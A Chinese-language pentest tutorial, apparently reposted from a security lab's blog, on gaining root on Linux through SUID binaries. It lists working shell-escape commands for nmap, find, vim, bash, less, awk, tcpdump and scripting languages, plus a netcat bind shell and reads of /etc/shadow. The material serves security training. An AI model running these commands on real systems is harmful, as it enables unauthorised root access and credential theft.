Linux下利用SUID提权

admin 2021年3月16日00:28:50评论30 views字数 2150阅读7分10秒阅读模式

今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
NmapVimfindBashMoreLessNanocp
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;

Linux下利用SUID提权

发现SUID可执行文件

以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
ls -l /usr/bin/nmap-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

Linux下利用SUID提权

SUID可执行文件 - Nmap


NMAP

较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -V

Linux下利用SUID提权

Nmap - 版本识别

交互模式可以通过执行Nmap参数"interactive"
nmap --interactive

Linux下利用SUID提权

Nmap - 交互模式

以下命令将提供一个提升的shell。
nmap> !shsh-3.2# whoamiroot

Linux下利用SUID提权

提权至Root权限

也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
exploit/unix/local/setuid_nmap


Find

如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
touch pentestlabfind pentestlab -exec whoami ;

Linux下利用SUID提权

Find命令权限提升

大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
Linux下利用SUID提权

通过Find运行Netcat

连接上去就会直接获取到一个Root权限的shell。
netcat 192.168.1.189 5555idcat /etc/shadow
Linux下利用SUID提权

Root权限的shell


VIM

Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow

Linux下利用SUID提权

Vim - Shadow文件读取

vim.tiny# Press ESC key:set shell=/bin/sh:shell

Linux下利用SUID提权

Vim - Root权限


Bash

以下命令将以root权限打开一个bash shell。
bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

Linux下利用SUID提权

Bash - Root权限


Less

Less和More都执行以用来提权。
less /etc/passwd!/bin/sh
more /home/pelle/myfile!/bin/bash

Linux下利用SUID提权

获取到Root权限


cp

使用cp覆盖 /etc/shadow

mv

使用mv 覆盖 /etc/shadow 或者/etc/sudoers

awk

awk 'BEGIN {system("/bin/bash")}'


man

man passwd!/bin/bash


python/perl/ruby/lua/etc

  1. perl


    exec "/bin/bash";
  2. python

    import osos.system("/bin/bash")


tcpdump

echo $'idncat /etc/shadow' > /tmp/.testchmod +x /tmp/.testsudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root



参考资料

  • https://pentestlab.blog/2017/09/25/suid-executables/

  • http://blog.csdn.net/haofeifei6/article/details/11516753

  • https://evi1cg.me/archives/SUID_Privilege_Escalation.html





扫描下方二维码学习更多WEB安全知识:

Linux下利用SUID提权







Linux下利用SUID提权
Ms08067安全实验室
专注于普及网络安全知识。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,目前在编Python渗透测试,JAVA代码审计和二进制逆向方面的书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:www.ms08067.com

本文始发于微信公众号(Ms08067安全实验室):Linux下利用SUID提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月16日00:28:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux下利用SUID提权https://cn-sec.com/archives/292663.html

发表评论

匿名网友 填写信息